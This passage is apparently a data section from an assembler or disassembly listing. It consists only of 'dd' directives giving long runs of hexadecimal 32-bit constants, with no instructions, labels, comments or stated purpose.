		dd 0B0716570h, 10750043h, 67141651h, 9428F4DBh,	0CD00FE83h
		dd 0E3520C07h, 3E9C841Ch, 0A600809Ah, 6E39B79Bh, 0F1006258h
		dd 2CE4F87Eh, 4D3807h, 96DFFB12h, 0A8CFA286h, 0FC663000h
		dd 0B6273AF6h, 7683C29h, 0C0C2F280h, 1F1D8CE7h,	1448D000h
		dd 0E3E81A9Ah, 0CF9019h, 9C21F435h, 0ACA5CC71h,	463EA898h
		dd 68BA00B2h, 2312D441h, 94EB002Ah, 0B7458208h,	20003088h
		dd 8D4BCC3Ch, 207F6BDh,	0A3A7C0C1h, 4240B535h, 0AE385830h
		dd 0D3CE82D1h, 808F1DA5h, 7E684AA7h, 0B52903A6h, 9E209BBFh
		dd 807BF889h, 11CE8AAEh, 37CD99h, 7347B22Bh, 0E5B72A14h
		dd 1738CA58h, 0EC00898Eh, 5A2876FAh, 71DC0E5Fh,	0C07DA883h
		dd 0CC7EB5E9h, 0C50063C6h, 48352A29h, 0CF2D3318h, 6EC0C924h
		dd 0B3B084FBh, 0C7EE0400h, 0FE0A3EA6h, 42D000F3h, 0B973FD82h
		dd 1A0C2D8Ah, 38F86EC2h, 283707A2h, 0E3F15204h,	0D9F8DCE2h
		dd 0FEABDD4h, 0F30E74FCh, 781E5856h, 3E20876h, 339E729Ch
		dd 40903C02h, 10001BACh, 9817EEDh, 1E2A97F1h, 41245Fh
		dd 0CF9DD03Fh, 76FE6FE2h, 0C9677800h, 64047A4Bh, 748500C5h
		dd 27523C14h, 5D001C41h, 4A218B8Ch, 0C79640h, 605CBE75h
		dd 79661356h, 86C90A0Fh, 773120DDh, 0E06E74h, 0F9864B0h
		dd 6DEA4B58h, 5AA5D007h
		dd 0D690B92Ch, 7436A60h, 552325C7h, 36A07EF4h, 702CFF66h
		dd 79908E0Fh, 3EC7BED8h, 9660C042h, 1C2658EAh, 42E2A63Dh
		dd 4BFD69C1h, 0DAC7B048h, 37B0D1Fh, 4788EA00h, 0FC78C3h
		dd 0DB11E97Fh, 5C145F53h, 18B040FFh, 620003D2h,	2FEAD327h
		dd 30436660h, 4A2116A2h, 0AD7C246Bh, 15817904h,	10902731h
		dd 0FEA8BD7Ah, 0FB338FCh, 32524400h, 0C639A2AEh, 5FFF600h
		dd 0D759732Bh, 3E6200D4h, 0C82C3B8Bh, 32000144h, 9BDF1A39h
		dd 0EF4D72h, 0D12D24E7h, 0A54423CDh, 8EE3000h, 0B2FFD3FEh
		dd 488A73C4h, 181368C6h, 8340008Dh, 7088F892h, 7AD72700h
		dd 80C9DB6Bh, 0D0070EE3h, 3AA016CBh, 500D54D8h,	0B8D30800h
		dd 56D7124Ah, 0F03F00D4h, 4F66DE6Ch, 0FF00F902h, 637F52C3h
		dd 0AFF2B1h, 9D55ED94h,	0FD679FE0h, 0FCDA2706h,	7358D779h
		dd 1A80381Ch, 0DF992200h, 0FBA3B041h, 6AE42900h, 50ABE42h
		dd 0A13D0034h, 682AD3E1h, 0C0D2D819h, 0A40609h,	0DB011501h
		dd 0AD200059h, 707374AFh, 1D3BA6B3h, 8736BCB1h,	0E8A467AAh
		dd 85D6A830h, 9D640340h, 4E0167Ah, 1358AA98h, 0EF36351Fh
		dd 0A68FE180h, 3F5A736Bh, 0C91DC61Ah, 1376C0D2h, 6A7ABAC0h
		dd 0DFD6AA00h, 9AFF7064h, 0B8203A0h, 7553DA8Ah,	0E4811C81h
		dd 0C279C533h, 188994Ch, 90E82474h, 10819645h, 5AD12344h
		dd 346D20ECh, 0FC021C00h, 476AD72Fh, 40796Bh, 0A51B7EB3h
		dd 50D46997h, 0CBEBE800h, 0A3230A48h, 0C44903B4h, 0C8020E3Eh
		dd 17B9F3A0h, 82A1FF2Eh, 6C7F6900h, 20758CFh, 0C5E87C6Fh
		dd 0A460200Fh, 4B02D3BAh, 0C0D23217h, 0A9C86140h, 33A20h
		dd 9116423Ch, 3E47112Eh, 43D4448h, 0D92446F7h, 0C322C8C1h
		dd 0D8614986h, 0F400E14Dh, 3489D5B9h, 142075CCh, 0B4A2BF92h
		dd 0E8359C07h, 57760050h, 2B0032B8h, 0E28C6305h, 80A12Fh
		dd 8E6FB383h, 0A493E9F3h, 73301300h, 0F9BCD84Ch, 18AC1FD5h
		dd 0F1DFC0C4h, 0B40EAA50h, 8964D60Bh, 2B6800E7h, 4267D40h
		dd 66810974h, 0B498C059h, 940F1237h, 20AD5BFAh,	0CE4D8A9Ah
		dd 6DC907C3h, 10D20DB6h, 0E63E9E85h, 0BC180224h, 36659300h
		dd 3EB846E7h, 581AA5h, 51604E00h, 16408F22h, 0C83C6E00h
		dd 0BE86B509h, 49A73D37h, 0B70D2Ch, 0F21DA8DDh,	80C0AA94h
		dd 19E123BEh, 756207B2h, 0BBAC6ECEh, 96ED4001h,	2264C8AAh
		dd 435BACA0h, 0D44140h,	48E73236h, 0B4850DE8h, 18FFB709h
		dd 0A208204Eh, 3091FB2h, 0D672434Ch, 5CA84FD4h,	56002F96h
		dd 6E53F4A9h, 173E34h, 6A4EF11Bh, 2D100DE6h, 58C4E900h
		dd 3D5FAE83h, 0A7100DAh, 0DC04D859h, 3C0124B1h,	17733567h
		dd 0E6C80C11h, 0E334007Ah, 0E4533E72h, 960BFA8Bh, 50E278D2h
		dd 0A8D90090h, 0C8F6B426h, 347168A5h, 3DB0C300h, 9615F0CCh
		dd 47933B73h, 8D35BF01h, 8044A111h, 2B9CBBE8h, 17C9785h
		dd 0C80E6187h, 0C75DF335h, 0CFC788C0h, 0E34F1C00h, 0CCE0CDE1h
		dd 46760030h, 0DFC3D113h, 0D200FFB5h, 7202650Ch, 1DFE3A4Bh
		dd 0FE462E1Fh, 4076F913h, 5DD93D70h, 0FF00DE51h, 3B0AB6E8h
		dd 4B0B98h, 0B03F0C14h,	27BB42Dh, 0BC323A01h, 0FF2B9A7Ah
		dd 3823A030h, 0B68018BEh, 0B83AB0CBh, 34B1BC89h, 3326053Ch
		dd 0B70729C3h, 0D8619824h, 86D75D0Bh, 6A00040h,	8F0318D3h
		dd 3D000513h, 76CC0B85h, 0F45910h, 5FD0A1DEh, 31B6C91Fh
		dd 38B32600h, 66080BBCh, 741A7CA8h, 8297003Bh, 7E400656h
		dd 0B05C14A3h, 0D7960050h, 0FEFFF89Bh, 4C816546h, 8CCCC0D6h
		dd 0A500C757h, 7675DD7Eh, 36AA44h, 0B5456533h, 0C9DFE081h
		dd 1026ACBAh, 909208D6h, 0D1D34905h, 3982DA1Ch,	4074EC8Bh
		dd 16F195E8h, 40E1FABFh, 0C8DBE320h, 7F0087BDh,	0AD3BC7FBh
		dd 7E90D246h, 51CB803h,	26D99CEEh, 67AC00C6h, 0CA5A7F9Dh
		dd 245280h, 2D68B977h, 6711C48Dh, 78C1948h, 6C72E8ACh
		dd 0C09DDAB3h, 3983781Ah, 0D200E438h, 986A08A2h, 0AB0AECDh
		dd 0D03448h, 6CBD0416h,	0FE64D2h, 38CE13A7h, 600D5D29h
		dd 3A9A4Ch, 0B4AA650Eh,	5C2CC2h, 1E67FB0Ch, 1319D459h
		dd 3FE6100h, 357B9DD5h,	0B6E150D7h, 968B1317h, 9C983136h
		dd 0ACA30031h, 1B403B1h, 0E459D0C3h, 536F788h, 415D1603h
		dd 0C88DAA5Eh, 381AC67Dh, 7400DD2Fh, 0EF92DBFEh, 0F0E1B9C7h
		dd 27E22365h, 0C59D571Eh, 42BC2D80h, 1DFE44B3h,	7FBA4B07h
		dd 1B932F0Eh, 0A62750C0h, 0BD7DAC5Bh, 94763800h, 2E7D20BFh
		dd 0C46C02AEh, 852FDE87h, 1127450h, 3600256Bh, 94CDF572h
		dd 90430070h, 21D76133h, 71F26BFBh, 0E0055E76h,	664168A8h
		dd 0A71DACC1h, 0FA4AF4h, 162B4744h, 34EF062Ch, 86DFAA00h
		dd 5AB5797Fh, 4F6400FBh, 0A7773F0Fh, 0BC00BB46h, 0E12E6BFh
		dd 72443AF2h, 0A5DA0951h, 27800925h, 0EFAC680Fh, 0D121E1Ch
		dd 6FEE04C0h, 3ADC1C5Eh, 0AF001D5Bh, 0B9479209h, 7009EBBh
		dd 52867764h, 1C03B5Fh,	22C78E82h, 60D4E043h, 0B8EE50h
		dd 0E2A35300h, 6A9BA567h, 4B661CB7h, 658803Bh, 0A005E830h
		dd 8D369E00h, 144269D5h, 8B2F039Fh, 0D3774562h,	0A5A0BDE3h
		dd 0F400FA4Dh, 959CECF7h, 1BC22F9h, 0DA5DBBE4h,	0E4EAC4F8h
		dd 0B7000E50h, 7A63A7CAh, 0CED73Ch, 0D373A686h,	0F18F5437h
		dd 69FCED60h, 0E01D7985h, 9195005Bh, 85983A8h, 0C9004E15h
		dd 8F52F1BDh, 0EA6772E9h, 0A94D01A2h, 0FE332496h, 8C60CC6Eh
		dd 2225C300h, 0D556B9A8h, 0E5AA7052h, 6938F4h, 4482D168h
		dd 0F3CF277Ch, 1A3B6402h, 8FF16BDFh, 0DED900F8h, 779A12h
		dd 45717380h, 84540D40h, 75C2C600h, 5C362F2Ah, 3CA300A5h
		dd 14A87DE6h, 39004866h, 0C70D27AFh, 30F8EDAh, 0D5DFD7BFh
		dd 0D0C878B1h, 8007847Ah, 95EE85C9h, 27BEE750h,	0B6990009h
		dd 0F36C1C2Ah, 0F500CA89h, 844C5C8h, 9739460h, 1A6D055Fh
		dd 40993400h, 311228C2h, 38477D01h, 6910C845h, 0F8BCC9DBh
		dd 80E800BEh, 125397B6h, 0CD00304Fh, 7F39CA2Dh,	0D95C34h
		dd 0F88A9C9Ah, 98A732FBh, 26387C00h, 36F0BB65h,	562000E6h
		dd 0B9827044h, 0A800E8E0h, 3C075919h, 4BA4218h,	81EE16Eh
		dd 0D1A5C0FFh, 0C813D99Ah, 0B080222Fh, 4831F457h, 820934E9h
		dd 508064B5h, 7FD799B0h, 0FB239C1Dh, 0C7C52042h, 12E5808Bh
		dd 587A102Ah, 0B40072B6h, 35732E22h, 4D00880Ch,	282FA0DDh
		dd 61200348h, 0FBF79024h, 0FE62D45Dh, 0C6049D75h, 94475791h
		dd 3FED3900h, 661DFF6Ah, 81CFBD3h, 3EAF7FC0h, 1097731h
		dd 3B654864h, 31A86039h, 0E790EBD8h, 0C900795Ch, 0F79DA991h
		dd 2C9FFD45h, 38FACEh, 235B7684h, 1200144Eh, 0C0E7A615h
		dd 7F0D533h, 0E2B31ECEh, 8AC4C352h, 29E62FC8h, 0EC3E4E76h
		dd 87DB960Eh, 0D5542044h, 8280D242h, 232F8080h,	7E00F76Eh
		dd 1E4EC196h, 1F2CC9h, 0A174DB80h, 0B8BCE81h, 20FB1700h
		dd 0A2495D69h, 0E844F116h, 7D6098A0h, 18015878h, 7C27B100h
		dd 5916758Eh, 0E3F51012h, 4F316718h, 8B3E09B3h,	0D8C03DE6h
		dd 100FE73h, 58952FD5h,	5161F6h, 0E52FF12h, 0ED3247FAh
		dd 0DF851D09h, 1A1F8095h, 49AF814h, 2EA009E1h, 7434B035h
		dd 0E41DC370h, 47C0D3D6h, 9B6934AAh, 5CEF0060h,	7DB9A71Fh
		dd 3200C280h, 7C4F3D9h,	0DAD27Bh, 0C1F8E409h, 28D472E0h
		dd 88AE022Ch, 0E6A2E100h, 73B4540h, 5B7E6B9Ah, 0A18E007Ah
		dd 0E300D805h, 52441A5Ch
		dd 2E4AD33h, 3580D532h,	0EC843189h, 0F3E481CCh,	0EC84F5F5h
		dd 0A4009002h, 2BD9E686h, 5842594Fh, 9A0096FAh,	0D0D4DA73h
		dd 5700832Ah, 6247C0A2h, 0B0C2B223h, 7C8A7618h,	0E8B09Fh
		dd 0A098D4D0h, 8E44DEABh, 5E00C690h, 2EAE4A5Fh,	2A94F0h
		dd 9F7AEE33h, 0C0A5CBF2h, 0E988290Ch, 7098C2h, 4A75D48Fh
		dd 5D451D4Fh, 533D1CE0h, 0D5F90077h, 90071F35h,	0A47F00B6h
		dd 0B0EDE1CDh, 0B20F484Ch, 0A09C1953h, 0C754155Dh, 0D4C8281Eh
		dd 20034BC0h, 0E77EDDACh, 72D7E303h, 0E141565Ch, 7870912Ch
		dd 0AB6A0771h, 0E3597742h, 898F9E1Eh, 0D392F460h, 0C9A8E700h
		dd 0D9A9A147h, 0CEE20371h, 2EC2027Eh, 31CBF198h, 483A5D00h
		dd 4C097458h, 207A0005h, 0DB71B3ABh, 0E80003FAh, 82CF1151h
		dd 48184E1Ch, 0F93D2497h, 30F29480h, 8A1D56E7h,	4400867Ah
		dd 2882CDE8h, 314FF76h,	0A0E411D4h, 8769AFh, 79EE7E2Eh
		dd 0C9DD1B03h, 0D0614836h, 3C0B3FA6h, 0D1827DA1h, 0C11A1612h
		dd 0C2D854E0h, 0E105897Dh, 0E0A56D62h, 9D249040h, 9BF431h
		dd 0DA50ED64h, 0F5EE1E62h, 4DECFF00h, 0F72DA497h, 0E6063817h
		dd 0EBEAFBh, 0B4BA8F22h, 0EA70FCEFh, 0B3DD2403h, 0C2298CBEh
		dd 9550406Fh, 408A4EC8h, 71F41484h, 0B200609Fh,	5B589E62h
		dd 15FA874h, 0CFBE0F80h, 0C04EF3E2h, 8BE2FEB3h,	0F5F8D5A0h
		dd 0B75972Ch, 7DA0D700h, 1D6B25C2h, 65A43848h, 0A8D23C21h
		dd 0E11C3064h, 2F107907h, 30A0C911h, 1DD3B6B8h,	40DC92D9h
		dd 60A2D513h, 56052171h, 0D18F77C7h, 8C3C8400h,	0BA0B9DAh
		dd 0EB3B8831h, 0DBE75060h, 0F0253D00h, 62B5D2F3h, 12937F8Ah
		dd 80B4BBCBh, 0C21CF404h, 6B3EEF02h, 0E89B5B7Bh, 33CC778h
		dd 1AA461C0h, 0BFBBD7BEh, 0DC98A0D8h, 4426F300h, 18EAD2ADh
		dd 0E49B0B07h, 5900EB0Eh, 128D9695h, 51889300h,	9509F04h
		dd 7BE053h, 27647103h, 4B10A6E6h, 0E562AC00h, 0B0762344h
		dd 0B78613CBh, 0ABB08011h, 0E818A749h, 360EA667h, 0EE5A0015h
		dd 66CB8F6Dh, 0A17A1837h, 0F2113300h, 62DD9F3Bh, 0E10300F6h
		dd 0A88505A7h, 553A786Dh, 0A580092h, 462A262Eh,	86670062h
		dd 0E79BD37Eh, 1D02AA1Bh, 3EC502A2h, 0A3E0E0B9h, 84802D3Bh
		dd 0FD146CA0h, 5E4F6C5Dh, 0C00BDACh, 9F1D847h, 75FEAEABh
		dd 2F007479h, 8ED79DC4h, 1540601h, 0ED94F40Ah, 0E349706Eh
		dd 203AF1E8h, 2A6CBD07h, 3E10B119h, 171BB0E5h, 90EAF8h
		dd 0C69E8605h, 8F008B08h, 379A3EBDh, 0FAD5302h,	2B5F33C5h
		dd 0A53020E0h, 16006462h, 4B7B445Ch, 386BF5Ah, 0B88B7FC7h
		dd 0C8B34305h, 0C20B53D0h, 0DD90E00h, 96B71850h, 1B3B0329h
		dd 0A5161CBAh, 0E0125CE1h, 8E144E79h, 7CC04733h, 42A3A40Fh
		dd 948FC07Eh, 24695706h, 3F9880FEh, 0D56048Ah, 2732CC2h
		dd 0C520AA8h, 0E40F8689h, 0C0566505h, 0F0ED8C20h, 151C7F00h
		dd 1DA43BC6h, 0FFD25CB7h, 2B380B7Dh, 5C202301h,	0C45155B5h
		dd 9F46600h, 2DE25E76h,	0D9141ED8h, 751833A5h, 0BF009A7Ah
		dd 96F843Dh, 3999F8h, 0E01406D3h, 4AAE8813h, 0CE76511Fh
		dd 0C344CA80h, 30BE1CD8h, 1868D726h, 2104815Bh,	0AC4A98E8h
		dd 0EEA01C00h, 0F400B2D5h, 0E7D089C3h, 0B25117A9h, 7282810h
		dd 0DAF854h, 0A6CD49F1h, 2513E674h, 560A9100h, 94865290h
		dd 0AD79006Ch, 0EA3D244Bh, 5026C576h, 8400B820h, 0F1ED13A3h
		dd 0FD1D0036h, 63717983h, 0D500A026h, 0C71E3785h, 1C934AF8h
		dd 40823E40h, 321B0D2Bh, 3103F755h, 2E99F256h, 0A17EA8EAh
		dd 39620795h, 22FD2D0Ah, 72404DE5h, 0D4019C08h,	5B8EA038h
		dd 4BDCE780h, 553B39DAh, 0B77A4780h, 292748F7h,	505FE500h
		dd 4D332E98h, 815D3FBCh, 0AFC800CFh, 0CA32DC45h, 0D8F92007h
		dd 1030C9DAh, 0B0EC39F1h, 0F0D400F8h, 0FF56970Ch, 0BDE27999h
		dd 9E6F4300h, 84A194F3h, 145058C0h, 0F610007Fh,	462BDBA9h
		dd 310726E6h, 4F84605Ch, 0C41BCA32h, 96420F78h,	54E75D1Eh
		dd 2AE60F7h, 0D100C2B0h, 1B906F41h, 79A9B23h, 1AD462DCh
		dd 3B30D0C0h, 7B17E4BEh, 0AC1FF8A1h, 0A05CB680h, 1160B42h
		dd 58782CBFh, 0E01ECD6Bh, 2700CFC3h, 0DA523F46h, 79E232h
		dd 0C1B7F514h, 9669081h, 0A4005670h, 570C786Eh,	93F17F8h
		dd 0D7493AA3h, 4D5EA480h, 3D0063D9h, 0B86F7567h, 43CAD31h
		dd 0C3F21AD3h, 5169C04Ah, 41E00F8Eh, 30D0F300h,	5AB866FDh
		dd 0FC05E821h, 77A40157h, 0CECDF174h, 4C7C68E5h, 0E4F726BCh
		dd 0D9C9E200h, 898024h,	5E28B934h, 0F1CE0850h, 0EC1A21C0h
		dd 43721B6h, 52E87C51h,	8EA4D0C0h, 0DD3F4E6Ah, 100F36Bh
		dd 5FA9D876h, 2DE7A8h, 1591CF71h, 0C2260812h, 0D30B1009h
		dd 0E0F68002h, 32EDD8h,	0F0A164AAh, 9047E1E7h, 4C006EFEh
		dd 8C717A4Fh, 71C4162Ch, 0B079033Bh, 0A563B6EAh, 1348BAF0h
		dd 40324300h, 99E29D52h, 0D3EB00FDh, 0FAF4B576h, 0C700A24Fh
		dd 723995C9h, 0F10C31Dh, 0CF010B41h, 4483AE80h,	0BF00F79Ch
		dd 1884430Dh, 4E7250h, 9137E479h, 0B95E223h, 4386B600h
		dd 0E528AA57h, 0D85300B7h, 5EA9132Ch, 5203C709h, 62399CDCh
		dd 0BC57E0DEh, 534000AAh, 5614E3E6h, 54EC3824h,	0B5790C04h
		dd 57C03FA2h, 16948Ah, 0E5E1EAFBh, 961970EFh, 554E9E1Bh
		dd 43F6C2C0h, 6415C081h, 0F53B0049h, 3E139EC0h,	57000FD2h
		dd 46B9A932h, 458533h, 687E787Ah, 99A86F23h, 8015503Bh
		dd 30ABE0C0h, 67BEA5Ch,	33E7EF83h, 3F00D081h, 0D2E892B0h
		dd 3C7F65Eh, 98206B5Ch,	200085F1h, 396C293Ah, 379BB1h
		dd 59D60350h, 72385842h, 66223007h, 9BD0A556h, 7DFD0FDh
		dd 76E88CD3h, 0E11D80E4h, 0B203C6B3h, 7CEC448Fh, 89AD98D5h
		dd 0D82006Bh, 763A1B52h, 0FB07EB74h, 0C4E6E749h, 61064E61h
		dd 80A8F19Ch, 0FC0E3045h, 0C40097F3h, 3A08CB7Bh, 0D0A3EEh
		dd 0CA53FA69h, 1D83A401h, 50B4F309h, 5AE987D6h,	6420EE60h
		dd 4CED3B78h, 16ABC912h, 12CE0020h, 8EC8734Dh, 3BA8A85Ah
		dd 1C5EC440h, 98C06682h, 46DB8A7Dh, 97C388C0h, 3A80EEA8h
		dd 5DBBCCB8h, 3C93F180h, 24D05CD5h, 99917000h, 0D1A4D213h
		dd 87AF0FEBh, 96809892h, 0C5C2AD23h, 8D10CC00h,	8DED8F5h
		dd 0E8027F60h, 7AF000CDh, 451DA6C2h, 3A0035D0h,	0CBA8C494h
		dd 7669E333h, 7C9B00B8h, 0FB8FED9Dh, 1200BE8Ch,	61DD54EFh
		dd 7FDBAEEh, 34EAA96Eh,	0F106203Eh, 4200F990h, 5E841F3Ah
		dd 5E11B02Bh, 81F8B9h, 38F17583h, 0FA4819h, 0BB9F16A0h
		dd 0AEF5B433h, 11EBC200h, 0EE8F2A1Bh, 0CE400050h, 947F0412h
		dd 86792B19h, 0DE9A4F03h, 757C27Ch, 81F94D88h, 880DC08Fh
		dd 367167FDh, 0A46C0800h, 621E153Fh, 0E0E851h, 6426E723h
		dd 7B27A166h, 0D08F521Eh, 38A78C48h, 0F0D8689Fh, 0FB4A1D41h
		dd 347EC5F8h, 1BE0C261h, 1CE4A080h, 4DCFEC9Ah, 96581057h
		dd 0AC829000h, 0CCEE77AAh, 62F6EA00h, 7A296792h, 0E9630C39h
		dd 51686F7Ch, 23217100h, 0BFDCB72h, 42E8008Dh, 0F2D81BCh
		dd 0D9051EAAh, 14A86B9Bh, 6748880Fh, 77C351ADh,	59C2E8E6h
		dd 54854926h, 0D37DC15Bh, 5FD570EBh, 9810C000h,	73FD3205h
		dd 82AF0072h, 593BD577h, 3624E7FBh, 3990FFh, 52AC83C8h
		dd 0F89C51h, 377471Eh, 2C255D7Ch, 57486300h, 0E805BD45h
		dd 7867664h, 31A97313h,	0C0C18418h, 69E53D8Ch, 0EDE7F501h
		dd 0EA84F00Eh, 3781920h
		dd 3BF92874h, 0F7F171EBh, 832CFC15h, 10129600h,	6B84787Fh
		dd 9BB0A0EFh, 0DDF1028Eh, 72CD3322h, 665EC080h,	0D30046EEh
		dd 0B5F88978h, 909215h,	180930Fh, 6F213D5Ch, 0AEEBEF07h
		dd 386C7147h, 3CE1079Ah, 0E05A99DEh, 43E9E1Dh, 0F7682700h
		dd 77F410B9h, 46670060h, 0BFD3BD08h, 87011266h,	0CD984818h
		dd 0D0E87437h, 694F003Bh, 4581DE0Eh, 9700E1FBh,	0ACF97308h
		dd 0F810F117h, 86A9265Bh, 91AD004Eh, 49F7CA07h,	0CC835900h
		dd 274AF236h, 2915002Bh, 1C5C06C8h, 0A3030434h,	2D9E77A0h
		dd 9F2CAB45h, 40A43EE0h, 0B291001Dh, 0CF4D5746h, 490901BEh
		dd 80A143B7h, 0A0D19F1Eh, 1DE70070h, 30B5B22Eh,	0D800FA24h
		dd 29ED172Bh, 98280DABh, 139D1C2Fh, 9BEC8086h, 1ABE1575h
		dd 0FDC23D00h, 4FE95989h, 0FC5800B9h, 0CA3CE7B1h, 0CD00145Dh
		dd 80674BBAh, 0E23949E8h, 0BF9000B5h, 0BD4CF357h, 28901482h
		dd 7DA96405h, 0B280D6A7h, 24B7FD3h, 0F5488B7Bh,	0C439BABh
		dd 1BDC5AFh, 910A1588h,	301CCFF1h, 52406CAEh, 0E0AD78B6h
		dd 0FF5401EAh, 69B22F98h, 76F07F1Eh, 162E4C9Ah,	40A23F1Dh
		dd 0D72A9413h, 0DD3CEB7Fh, 80FB3D03h, 0C512CDBDh, 582EA2Bh
		dd 0DA1C3645h, 0F2D89019h, 88C03EF8h, 216F2D72h, 74107436h
		dd 0B61F1F26h, 442170B5h, 0B498CFEDh, 140728EEh, 0C44EFB18h
		dd 33A4A741h, 186050BCh, 0EFED3DF4h, 0E49AF700h, 6EB6FE0Ah
		dd 8CA7009Fh, 0CA7C45C1h, 3340DB2Bh, 1F37C49h, 95526BA6h
		dd 0F1FD284Eh, 6C3C40B4h, 78786F4Dh, 5ECF621Ch,	89D3E1CCh
		dd 5F8D0136h, 0D14E358Ch, 851170EDh, 963E4D1Eh,	0C414096h
		dd 75F9778Ch, 32F116D1h, 0F6BE0C40h, 9C84A81Bh,	975F2E9Dh
		dd 40DE1CF3h, 2F48A784h, 0E9018AE3h, 523CD89Bh,	6680C1E5h
		dd 7C21BB9Ah, 7D042554h, 0BC49F477h, 85FA8280h,	0ADBF03A5h
		dd 5A6DC9BEh, 0DC868BC9h, 0B9009187h, 15B4878h,	929AD6h
		dd 2A978168h, 8FC006CFh, 0B06DB53Ch, 0B043A038h, 0D32D24AAh
		dd 728605D0h, 0C27AC01Bh, 1C137E4Eh, 0F0009870h, 0F048FFDh
		dd 694600D3h, 2E40BF2Dh, 541F960Ch, 0D24042E0h,	5156C0BCh
		dd 53BE5839h, 0ABCD6100h, 0DB52C5E9h, 9276F61Eh, 0EA15A5C0h
		dd 1C784BCh, 6C0B04C2h,	0E89A349Dh, 0E400872Dh,	0DB54FC98h
		dd 0CCD26Fh, 7E17C04Fh,	0EFE9DFB0h, 34529300h, 8B2418FEh
		dd 0E14100FBh, 1368649Eh, 44006785h, 7757F592h,	1BA637Ch
		dd 46CA989Bh, 804E4AFFh, 64612C12h, 2480D0E0h, 0BC114Fh
		dd 84E22520h, 27717F3Eh, 33FB20C0h, 1F6138D8h, 0C02A5CD6h
		dd 0A7B4F19Bh, 2700C641h, 11F57D78h, 701B581h, 28F0208Ch
		dd 0F271704Eh, 0B11EE93Eh, 71B05F50h, 0FEBA5D4Ah, 0A380BDDBh
		dd 0D566EA09h, 0FD63B901h, 1F387305h, 1224570h,	0F103CFF8h
		dd 0F4FFD114h, 2103A8DDh, 7571B490h, 0EA7290B9h, 4C1D0341h
		dd 73B8AAE1h, 8CBD1000h, 84F160FFh, 0BA3D0752h,	0C04B7B3Eh
		dd 94DD550Dh, 35B9D600h, 0B2420E11h, 62210082h,	0BE9B8E5h
		dd 610059ADh, 16A27B97h, 0EF7012h, 1C72BE7Fh, 65BB8F5Bh
		dd 4C73A13Eh, 0D43D7ADAh, 77270042h, 0E93BF52Fh, 0E303036Eh
		dd 0A032DA7Bh, 70A426A9h, 0DD003A66h, 7161F2AFh, 1D36DED2h
		dd 52CE4F7Dh, 5980E40h,	880B7640h, 0C5009429h, 2C6AB123h
		dd 41C390h, 1CCF8E54h, 0A8D42BCDh, 0E2C7F500h, 0D9A3585Dh
		dd 3F78E44Fh, 0E4801F8Dh, 0ED5247E0h, 8F022671h, 0AD6E6415h
		dd 0A0B48065h, 1ECF365Ah, 40D3391Fh, 633BE4FEh,	1C00E9C9h
		dd 7BBFCC6Dh, 0F5490BCh, 7ADC5DDEh, 6AD400BEh, 5EB0A0E0h
		dd 55A75B00h, 7D9F234Dh, 0AB14006Ch, 531A3D0Fh,	0BC007797h
		dd 0B332B4Eh, 70C89Ch, 91566F9Bh, 0FA903BFDh, 513CAF00h
		dd 6927B220h, 7B4E42Eh,	8AEF2C39h, 26ADC049h, 0A70FE428h
		dd 0E045FA6Dh, 2F07CDF7h, 948500BEh, 49250431h,	8F1D0E55h
		dd 0F140CA44h, 0F677D5E3h, 0EC5B0013h, 0A63B69C3h, 5000BE41h
		dd 74666A60h, 38ADF7h, 0D0E5865Bh, 87AAFBDBh, 0BB59FA1Ch
		dd 1B337C02h, 0C948267h, 0C3D01854h, 428D4600h,	0C9F7C8D6h
		dd 90585059h, 7B80F66Bh, 99DC0098h, 82E955A6h, 75000688h
		dd 54082556h, 12CBFB3Ah, 14EBC7A0h, 0E40059BFh,	0F50A965Fh
		dd 0C50019E8h, 7B9C55BEh, 3EA1BCFh, 0EB639899h,	74F88073h
		dd 0A924DC84h, 67035CD7h, 0F87DE354h, 15CC1A0Fh, 0D07F5785h
		dd 1C1C6426h, 721CC010h, 8A37C102h, 0C27DE401h,	0CA758C41h
		dd 1FAA90F4h, 0C15F09CDh, 7F76FD36h, 792A30C6h,	0D786C200h
		dd 0A7477A80h, 0C8460025h, 6123B1D9h, 0F47F60FAh, 0E38CDE00h
		dd 0D1CD365Fh, 0D7DB58EEh, 0D6CB4800h, 0B07F370Eh, 0FC81A71Dh
		dd 959B1AC7h, 4A47B960h, 0C8110358h, 24058D75h,	0C5077600h
		dd 0A212640Dh, 9D29006Fh, 0D1FEE2FDh, 0BEFE578Eh, 7B7AE100h
		dd 592B08B5h, 0F78779C0h, 4FEE8440h, 0DCDE098Eh, 52001B8Ah
		dd 9BB1974Ah, 0C0001875h, 0E4569496h, 0F916ACh,	72872A83h
		dd 0A4D4AFE7h, 7D049F00h, 4F573DE6h, 0D3BC00D6h, 9A11CFDDh
		dd 380068E0h, 0A1DCECABh, 1DF2D816h, 0C05A5253h, 0EB3BD19Eh
		dd 9B266F99h, 94806063h, 1D34873h, 0A6290121h, 859881ADh
		dd 0A9CC40CFh, 0C20FF35Ch, 6BF524h, 0BFA08B57h,	0D6CF062Bh
		dd 18F6DFC1h, 6DB99300h, 25E9EFF8h, 155D1CDDh, 0FC9DC21Dh
		dd 40DB33h, 0DF0038B1h,	3A424B50h, 183933Dh, 0DAE8F637h
		dd 30C930FEh, 0D9012658h, 0E1EE9505h, 14E0DB5Ch, 52FE78h
		dd 0F0B96C88h, 368FFA12h, 0AC76E101h, 9CAE2E5Eh, 0DBDEE440h
		dd 7329008Ah, 88E2213Ah, 0F0006C5Bh, 57EC47F9h,	4C9CC24Bh
		dd 62192948h, 0DC68D8CBh, 580036CCh, 50FAD815h,	98BFB6B8h
		dd 9FE071h, 3DF31F0Eh, 8C5C2D10h, 7A000874h, 0D2B03C5Ah
		dd 1E989E1Ch, 0C068F6B3h, 575EC58Eh, 0E773D4Eh,	0C806B900h
		dd 94911BFAh, 0F677AE2h, 0E155DD08h, 9ADCB60h, 8100C26Eh
		dd 0AB32CCA9h, 1D660859h, 7FC582h, 60F72997h, 8B0080D5h
		dd 31746AADh, 4D4F2FFDh, 0B80074B4h, 0C8E9FC4Eh, 510316D3h
		dd 17240259h, 27B9B0CAh, 3F85072Fh, 30B154DFh, 9CACB24Ah
		dd 0D7014771h, 2DB78734h, 9EE8DCB9h, 3FE6099Fh,	340167AFh
		dd 20A1E1E9h, 7E3B88C0h, 0E0F1834Fh, 0D0577922h, 50209h
		dd 0F175916h, 0A64B6B0Bh, 42CEE00h, 0EB397A53h,	9D4F005Fh
		dd 65E3BA51h, 52001378h, 0B7DAD7B3h, 18A611Fh, 0C5C8AF87h
		dd 70A8F29Eh, 11008D4Fh, 0EEF9C1CAh, 0E73FEFh, 82F04A9Dh
		dd 0E0971327h, 26B33405h, 88909165h, 2E55F199h,	0B64BD3h
